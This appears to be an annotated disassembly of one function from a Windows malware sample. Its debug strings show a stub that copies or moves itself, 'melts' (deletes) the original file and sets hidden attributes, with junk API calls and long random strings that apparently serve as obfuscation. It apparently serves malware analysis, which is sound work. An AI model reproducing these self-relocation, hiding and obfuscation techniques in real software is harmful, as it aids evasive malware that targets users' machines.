Function at 0x404320
Capabilities:
Get file system object information
Print debug messages

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x14
push esi
mov eax, 0xcccccccc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
call fcn.00407570
call fcn.00407570
mov dword [ebp - 4], 0x1222
call fcn.00407570
call fcn.00407570
mov dword [ebp - 8], 0
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push 0x45d034
call fcn.00408900
add esp, 4
mov dword [ebp - 8], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
mov eax, dword [ebp - 8]
imul eax, eax, 0x3e8
mov dword [ebp - 8], eax
call fcn.00407570
call fcn.00407570
movsx ecx, byte [0x45c501]
cmp ecx, 0x31
je 0x40441f
movsx edx, byte [0x45c501]
cmp edx, 0x32
je 0x40441f
push esp
pop esi
push str.DEBUG:_Not_copying_or_melting_the_stub.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.lMq4bWM_YZ9h2MllrJ2TkJ9yG_Vxk2V_MNt9CB5mUkdugW_BqFtU84tWMUh7OOP_lNLQWF_OZ_d_cIq2_3__W6mRopLy_y_Uc5F__52l__SzYI5yZNdi__slHtSWAe3Ab__Hjznb_PvF_jvYh9gm8l_Ri_I_zpyz2_oSiPwBLBWPK_r8AMe2s_ZRV3__k_AO6u4pQM_Mh_y_BR_QWe_BU2_BwqqGs9g_iXi6mNb_vRSVz_8Jk5DuY8C_I8jxo_A78yJSg__b_ckKdHNxCuq_RTIzf_dckbga77OyBAMP26i7_Gzq_6ErKaglmF__XNCJlYxX___1ti71RshMlW4Q_5bzZeVTF_epxwI5VlGJQYo4_f_QUQD_n1__K19_LgYVskNC2_fRl_n9NI_w___JHcbDym_BbLknj2XP_KQa5uLTX9gAcj_SkNT_I5__W__cPtUn4AxWC_KOoyMf1_7xxcync_1T_etMr_K____h84__m7W_DgRysBq_iqNPexTjSCXpi__E_Olf3___u__anx__vts9t7mg7aLMGwfM5k8xo9H_K_rIaW5R4lYrpS_de__J_lqNwme_T1wH_IvK7Bt_FtISqlldujYjZFrj_kM_kk_Id1_1r8P__r_ZXq5w_Y6pQ6J_WWn_668aEdFlSOB6NE_RB__qN1a2ps7dnt7WRk3Ukx1BDxeTJHxC4_ZaPbf_Pi_f3G8_7eF3LiG__2fKjWmOoMAq5lEnsAHfX__bzXea_RvcRI6twTokh_febY_2W
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [0x45d24c], 0
mov eax, dword [ebp + 8]
jmp 0x404ae5
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
cmp dword [0x45d250], 0
je 0x4045a1
cmp dword [0x45b48c], 0
jne 0x4045a1
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.BX_jFH9jTA:jXTJ
push 0x45c503
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp esi, esp
call fcn.00407340
test eax, eax
jne 0x4044b0
push 0x45b37c
call fcn.00407bb0
add esp, 4
push eax
push 0x45d040
call fcn.00407ab0
add esp, 8
jmp 0x40459f
push esp
pop esi
push 0x45b36c
push 0x45c503
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp esi, esp
call fcn.00407340
test eax, eax
jne 0x404510
call fcn.00407570
call fcn.00407570
push 0x45b37c
call fcn.00407bb0
add esp, 4
push esp
pop esi
push eax
push 0x45d040
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x45b388
push 0x45d040
call fcn.00407ac0
add esp, 8
jmp 0x40459f
push esp
pop esi
push 0x45b370
push 0x45c503
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp esi, esp
call fcn.00407340
or eax, eax
jne 0x40455b
call fcn.00407570
call fcn.00407570
push str.tA:.6_rYla
call fcn.00407bb0
add esp, 4
push esp
pop esi
push eax
push 0x45d040
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
jmp 0x40459f
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push 0x45b39c
call fcn.00407bb0
add esp, 4
push eax
push 0x45d040
call fcn.00407ab0
add esp, 8
jmp 0x4045c3
push 0x45b39c
call fcn.00407bb0
add esp, 4
push esp
pop esi
push eax
push 0x45d040
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x44ad8c
push 0x45d040
call fcn.00407ac0
add esp, 8
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push 0x45c4d8
push 0x45d040
call fcn.00407ac0
add esp, 8
push esp
pop esi
push str.DEBUG:_Checking_for_correct_execution_path...
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Current_path:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.U_dr_1oTu3V__exiXg_pCHPe8VEYF__lBhTSGObsxyqqZtnTnA_l1xxZmm_HP_ofjaDFMg_BY8mY_TwaNxm1THZ1MVFCHPrf_UC3UVRcz9THYdbD_g758CEVtHm_r_xRQqh7LYhx1Mq_MpW__wbZ_6q682sjNgZFs_gz8DsZFGF2q7ozwcH1VfAOqoMUwc__znd___1CftYAQ__wj_BBRlb_7B_R_aAV2zNZAo5jATub_vM2_Tt3Qu_rOFODo_NXVSTzGx_4_H_K__2qh4_dmZ2_vHdq6_9j_aGk65xaI_Ozgs88Ft4WW1CiSeSzvSQWahplyw_KBPJaNtLpwJiSqMOD5ammq4_uFQEYM7ca_d_V_nA__k_5ybUbt_IWaXQ_J2JwIyUJY5VWk4KwANL1XUZ46_r2sjWJB1L__XOBw_E_f2KDw9BbPdhRUO_wykjB3_f1iHB_wOA_DkdP1fpPIwvBjKub5YY3Z_pXkv2HLgGNqVtQ_Dqud_Af6_mWVDm_n8_sBD_fYZ25xrTe9l_1yj___Dp_RQ6A_ezp_gXhme91_hee_Dc2lspHkXx9Px9_O_g_V8bRh7PLAH3E_K_Dz_uXE_XMxzM66g_cNF_Pp1UcAQi_tdRYiLUb__Ck_t_7_dciLtbzQPwv_1Ek7b868EgHGtbK79HnQ_K_YNq3mxG__MrcEZle1u7l5E_n5F_139eBM18gEP_L3wu71R__23e_DLGbJIKT_x88KAiQFTxrP8FGODX7vFa_OEU7K_npo2MWW_Wn9qI66edA1yafEfMNh8WCMtKC76s_eMfflWd4W3kBq1Qq_Awj_nk_CC2fLwS_J9o7O2PFEmFbdyQh_JQYNclrv_kHJW_ipC1_g_viCQlli_9T_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.avpuZG49_eq78oHnpB6Z__b_EYgnV6_u2jC_J9VHebg4_T__cDzWuTZZ_ok_D_Ij5u_p7Y__NV9Ar_uN_2DTcUOBrJ_f752yhf36_jwMl__TNbR_9VEQR48oKCPQadyE__Jjuh___c_N_HoHvo3THml2_wH3jq_b4Rxm__me_nGzxRirYQi_c2s8Pctq23u6G5ZbWgStati_fngGNjjVW61Uy_wpF2iTDhQI8yns_RK___fkqm_cWO_e_G2W__f__3IsZ6e_E5Ev689GdDucW_ki_HX87_u_uBme9Hea7Txym_v2_l__T7V_LnhgsnG_JP__FyU_Knf_Cb453YIhu_8_MK_aE_aEYW7_yg__u62_zpizrKEqTrowX_IwM9NQYwOpk3Ao_83W__3Gzey1iIflUu__wG_mb_PGc_FDHBX1eBmLwQM_45rj5_9xBd__neciI5Xh_KZD_dhkI1W_3lmz_DAu1m_4_d_Gx_P5pvMy2MSh_lY5eCcoa4JL2_7_QNLWZ2mRQ6rZEbESRrwb_WG3ON_Qv7q4imYaORp6K__Vj_V__mBpYVIwfL_yi_K_OvlFjerIn_tzf4t3__vH_6lDf_q7__6_xKdC1L8Z__Pp
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.uMt3__tb5__SENA_VG_4_Dn__hm4278_hSvQR7IL_N__qy_u_K_J__c_sMp_I8j_Uf8lxmezIMCdMP_V_mt_9P__4DsE_OitDFR__r__LI_NXkqh_3OkopBM_mDxK58I_ANrBnS9_f1KuaJCIJu_h_VSJoMr_WmgJ_DR76LmzyiH_ol1L5c7Mn2Tegpzhko_rZfRJV67lyQ_E8__rT1l_M7tTCM_A__4cqiKnJVE_caz_2rl3tjB_J_2__np_ZBsbxg43SrheZeLo___o_z3fJj6payEdTK_xHfNB4_66JrTz5N7_TmDEr_HjP_Znm9_YEfBlgz__5xNR_x3__W___oiGOtzMmHm5He3VsV_Dpd142_K7CX__hoCd_w631X_vhw_MwY__X__c8diLPNt_9Kj27pqCwS2T1V_rA_ryiKP4ASYjHCL7L5v_zHOML_D_NuB8umzq_DVf_I_z7FZA6_8mqIv_3Y_8_HXkZYMKjHIry2iEiebZDIQnBUt___C_EexdU_8Yi_FkYnXLGlDSRNW9sSuSNUukA8f__f1_zR_c___od3EMcadUh7_kVTluAkubGEvq_hnEd1OSqjb_BDae_td9_a_qPBfEiKVPg__H_2zb_wN_9_xrj6_YKdL_cQ5Zws_8k68Mr_D_jnw_koUlL2gWP_G_GHndFcP1uiCsKpC___oknFKuNVzpOSCPFIK6ctiFPV_GdhVRlmLTs2n5_6_4M_rFh97gHGtgE7vHHi_jCt2eW__VcZT_W2EtT_hitT_Iu2uRv8g4_IS1vaD34kZ_obVmg1x3lQ9gVzdrvC_dMmwqCV__qS6xW_iN73N_bro4R_JlAd_qNCHd7NzLA5e_Z99pk_c_SsKkHt_E__1q4P_bVYq_4_vSE8_D__qsNS__qdAyIH_Uv_anVu_S3_bj6dVGp_J51e_pmuynytStIVC5i_g_7MeG_f_8wfXN9uhm__7x6k9O_e_D2I6_4usR_JAoTX_R_VAs_Fy_MEuSWwo_G_z_Q_8LE7x9GU9LQz
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45d040
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp esi, esp
call fcn.00407340
test eax, eax
je 0x404ace
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Moving_incognito.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Melting_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45c501
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Setting_hidden_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45c507
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_New_path_is:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45d040
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.D_q6MkSg_6Ja3NC_Hx__ExzAT_9cITPDiXD_e_dGPG_Dw_xGKU_dV6AAlV_M4tqZGle_ZwC5ni8yTC_tkFkB1hghS6up7_ISOsVuv__eLI8I98_a_u9vp_xLK_CmcP8_HAzUqR6_xw_Kz9__zLa_jeaBOwJ6mS_kw_POYJydX39sk
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.cF8Ab5_MNtoLlG_7iCbgNYAJvv__6Z_VR_i8gkccsL5G_UNwcyvW9oFF_7O_xAnq_vTmw2HeACSADhtBFoHVV_LDiPQnkmv32i_4F_NYclztB_f8_K_8IgXJqQmNsKd_hj_uP_J
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.e__f7_wD3M_lATjzLcPx89__65qzMImm_lu___v1H9owjuQw3RO46__l_c_fA_Aep7Asv_pqvD47cQfcawfFSJRdES__UZ_4KGorL_19sw6ToCFHQD_zp__Y7iVEO_GiqI2cj_LbE_MILAq5N9G1SQ6_2_YuujUwyGA7P_23HmFNtmhtcoKVP___XDGK_oRFc__P_Ns13PN_HYPKs5h_H_jnAIVS_S_ItDZ_Zq6_mnkOCNWpk_pJqA4JGm_kIfelRTuo_46o7_6vJZ_kTom_NrJdh7wUOW_KAiMctfG__qTOAasru_mTS_Wzvcen__8_h_dofzE_On1qDk4__Z8DvDurSk2_znf2Kp5ulX_4_4Dbe3y__tTc__OZ6boFdJc9u___esJ3fJ_Yt_t2Uq_EGh7HrlcRypSTLxEK_DsDIQotq_AI_r_fwHkB4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0xe
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.acbhwA46P8cJSq_HavDh4_neMmd65ECIW_uXHM_SpHJcyel_dYzLGWK29vPbHAXF_heL_mdsAho_y296xrMH_PMfJpWW8ZH_T_JtVFQeT__rf_p_PCEPe_ZQcei8qyNI
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
movsx edx, byte [0x45c501]
cmp edx, 0x31
jne 0x404893
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str...._Melting_file...
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.vLxmOlyGdtVBy_4_1suvPMaLsVHsP_QUf___vGeW_x_JwU_Mr_tzt_gLn_ijaE_C4Dc37CHM_tAXjKn1h__w_C_uJ9__TG7xOsx_T_UZILgf_d_ELNSDYIzL__RE_3IhE_CGDdvNPiK8EI4JR_lpPX_VZ_ZUBBGwOnsvGqlZP8_M5_Yl4K_WqzJ_M3MH__6b_oxSoKT_P_r_TK__hPR_VQOoQir6P__2e1x_3_loDC_T__K_D4ZCB_eGDlmiK_gDfCOuK8md___7yRKdR_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b3b4
mov eax, dword [0x45d254]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0xc], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0x45d040
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0xc]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
jmp 0x404913
push esp
pop esi
push str...._Copying_file...
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.YXC_sJxs_vyGFcBOpM3IV__aDg_Vgbngl__iHJ_aHItKTOQ9Vx_1bNYfyB_eACzxkocuosg_gC1Hdt7Q_qcgzxaEy9m5kA_nihxnX_hEsg__s5P62_ru_2qnCuq_b__g_wZ_zUZfX7Z3YKy__jUx_R_kGBYmj9VBpHoLWh_Avevl6_c__DwaIxl2_wKgm__r_54q__KmY_9y_b9X_B_XwQht_P___xE16OOa6_a_GdZ5S_Hj__S_Y_uumgTttMjxYK_iQKW_uEZTbeuRaObKv_n_XkOBA_l3ie_hOIc_AZ__ZeayI1cNR_4V8r2x__pihQ1_LLhwzJ_r7wRQURij_9voQF_tYk7_GgLttHH1YN_LD1CCrznC_Tw_3BsP3IFaHWbO9_28toD_SQT
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b3c0
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0x10], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x45d040
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x10]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
movsx ecx, byte [0x45c507]
cmp ecx, 0x31
jne 0x4049ba
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Applied_Hidden_attributes.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.rp6jRiaV__uVx8L5__1OK_t94_HPl_PMiAiURSk__3fIb__Wi2sy_GyoJd1y_qNdSg_xR_qCcu_5Y_P1E9H9__SK_GDvpQV_zc_YP_6_A_AVHwp__DPaCs8Ey_MP_C_ChKM_Wy_Km8_U8ND816q_82Ev_6_cJExHtd6Uu5p7cEWZ1HVRN_z5Fz5_xv3XLllsTb3dfhleio__E2fu_xjGx8m7XRQX_bkzL9dUEZZ_n4l_nZwILEJs_W__D_dgC_9AMRAh6pHAPgVmT68BoUE22_gRnNhy_9_F_Npd2n_Eb_c6cWztsCoFynD4nBE_42TSO5dQ1K6KHC_hUWd_J_PX_AEEF
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.fT___
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0x14], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 2
push 0x45d040
call dword [ebp - 0x14]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
movsx eax, byte [0x45c64e]
cmp eax, 0x30
je 0x4049e6
call fcn.00403750
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 8], 0
jbe 0x404a0b
push esp
pop esi
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
jmp 0x404a61
cmp dword [ebp - 8], 0xfffff830
jne 0x404a61
call fcn.00407570
cdq
mov ecx, 0x12c
idiv ecx
add edx, 0x3d
imul edx, edx, 0x3e8
mov dword [ebp - 8], edx
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00403a30
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 8], 0xfffffc18
jne 0x404a9e
sub eax, eax
jmp 0x404ae5
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
mov dword [0x45d24c], 1
mov eax, 0x45d040
jmp 0x404ae5
call fcn.00407570
call fcn.00407570
mov dword [0x45d24c], 0
mov eax, dword [ebp + 8]
pop esi
add esp, 0x14
cmp ebp, esp
call fcn.00407340
push ebp
pop esp
pop ebp
ret